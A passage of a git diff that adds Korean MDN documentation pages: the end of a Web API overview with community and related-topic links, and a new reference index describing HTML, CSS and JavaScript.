title="WebAPI/Settings">설정 API</a>,<a href="/ko/docs/WebAPI/Idle" title="WebAPI/Device_Storage_API"> 대기 API</a>,<a href="/ko/docs/WebAPI/Permissions" title="WebAPI/Permissions">사용 권한 API</a>,<a href="/ko/docs/WebAPI/Time_and_Clock" title="WebAPI/Time_and_Clock"> 시간/시계 API</a> 등이 있습니다.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Community" id="EditCommunity" name="EditCommunity">커뮤니티</h2>
+
+<p>저희 메일링 리스트나 뉴스그룹를 통해 Web API 커뮤니티에 참여하세요.</p>
+
+<ul>
+ <li><a href="https://lists.mozilla.org/listinfo/dev-webapi">메일링 리스트</a></li>
+ <li><a href="news://news.mozilla.org/mozilla.dev.webapi">뉴스그룹</a></li>
+ <li><a href="http://groups.google.com/group/mozilla.dev.webapi">Google그룹</a></li>
+ <li><a href="http://groups.google.com/group/mozilla.dev.webapi/feeds">웹 피드</a></li>
+ <li><a href="http://hacks.mozilla.or.kr/category/webapi/">한국 Mozilla Hacks</a></li>
+</ul>
+
+<p><a href="https://wiki.mozilla.org/IRC">IRC</a>에서 <a href="irc://irc.mozilla.org/webapi">#webapi</a> 채널의 실시간 토론도 꼭 참여하세요.</p>
+
+<h2 class="Related_Topics" id="Related_topics" name="Related_topics">관련 주제</h2>
+
+<p>다음 주제도 확인해보세요.</p>
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+<ul>
+ <li><a href="/ko/docs/Web/API">웹 API 인터페이스의 전체 색인</a></li>
+</ul>
+</div>
+</div>
+
+<p> </p>
diff --git a/files/ko/web/참조/index.html b/files/ko/web/참조/index.html
new file mode 100644
index 0000000000..f8d1a1dc35
--- /dev/null
+++ b/files/ko/web/참조/index.html
@@ -0,0 +1,30 @@
+---
+title: 웹 기술 문서 목록
+slug: Web/참조
+tags:
+ - Landing
+ - Reference
+ - Web
+translation_of: Web/Reference
+---
+<p>{{draft()}}<br>
+ 오픈 웹은 많은 기술을 사용하여 구축됩니다. 이 기술들을 사용하기 위해서는 적절한 지식이 필요합니다.<br>
+ 아래에서 각각의 참조 자료에 대한 링크를 찾아볼 수 있습니다.</p>
+
+<h2 class="Documentation" id="웹_기술들">웹 기술들</h2>
+
+<p>여러분에게 <a href="/ko/docs/Learn/Getting_started_with_the_web">웹과 함께 시작하기</a>를 추천하지만, 필수는 아닙니다.</p>
+
+<dl>
+ <dt><strong><a href="/ko/docs/Glossary/HTML">HTML</a></strong> — Structuring the web</dt>
+ <dd>하이퍼텍스트 마크업언어(HyperText Markup Language)는 의미론적으로 웹 페이지의 콘텐츠(<a href="/ko/docs/Glossary/markup">마크업</a>)를 잘 구조화된 형식으로 의미론적으로 정의하고 표현하는데 사용됩니다. HTML은 HTML 요소(HTML elements)라고 불리는 불록으로 구성된 구조화된 문서를 작성하는 방법을 제공합니다. HTML요소는 태그로 구분되며, 꺽쇠괄호(&lt;&gt;)를 사용하여 표현합니다. 일부는 페이지에 직접 내용을 소개하고, 다른 일부는 문서 텍스트에 대한 정보를 제공하고, 다른 태그는 하위 요소로 포함할 수 있습니다. 분명히, 브라우저는 페이지 내용을 해석하는데 사용하기 때문에, 그대로 문서에 보여주지 않습니다.<br>
+ <br>
+ <a href="/ko/Learn/HTML/Introduction_to_HTML">HTML 소개</a>| <a href="/ko/Learn/HTML">HTML 배우기</a> | <a href="/ko/docs/Web/Guide/HTML/HTML5">HTML5</a> | <a href="/ko/docs/Web/Guide/HTML">개발자 가이드</a> | <a href="/ko/docs/Web/HTML/Element">HTML 요소 레퍼런스</a> | <a href="/ko/docs/Web/HTML/Reference">HTML 참조</a></dd>
+ <dt><strong><a href="/en-US/docs/Glossary/CSS">CSS</a></strong> — Styling the web</dt>
+ <dd><strong>Cascading Style Sheets</strong> 는 웹 컨텐츠의 모양을 꾸미는데 사용합니다.<br>
+ <br>
+ <a href="/ko/Learn/CSS/Introduction_to_CSS">CSS 소개</a> | <a href="/ko/docs/Web/Guide/CSS/Getting_started">CSS 시작하기</a> | <a href="/ko/Learn/CSS">CSS 배우기</a> | <a href="/ko/docs/Web/CSS/CSS3">CSS3 </a>| <a href="/ko/docs/Web/Guide/CSS">개발자 가이드</a> | <a href="/ko/docs/Web/CSS/Common_CSS_Questions">일반적인 CSS 질문들</a> | <a href="/ko/docs/Web/CSS/Reference">CSS 참조</a></dd>
+ <dt><strong><a href="/ko/docs/Glossary/JavaScript">JavaScript</a></strong> — D<strong>ynamic client-side scripting</strong></dt>
+ <dd><strong>JavaScript</strong> 프로그래밍 언어는 사용자와의 대화식 이용 및 그외 동적 기능을 웹 사이트에 추가하는데 사용됩니다.</dd>
+ <dd><a href="/ko/docs/Learn/JavaScript">자바스크립트 배우기</a> | <a href="/ko/docs/Web/JavaScript/Guide">개발자 가이드</a> | <a href="/ko/docs/Web/JavaScript/Reference">자바스크립트 참조</a></dd>
+</dl>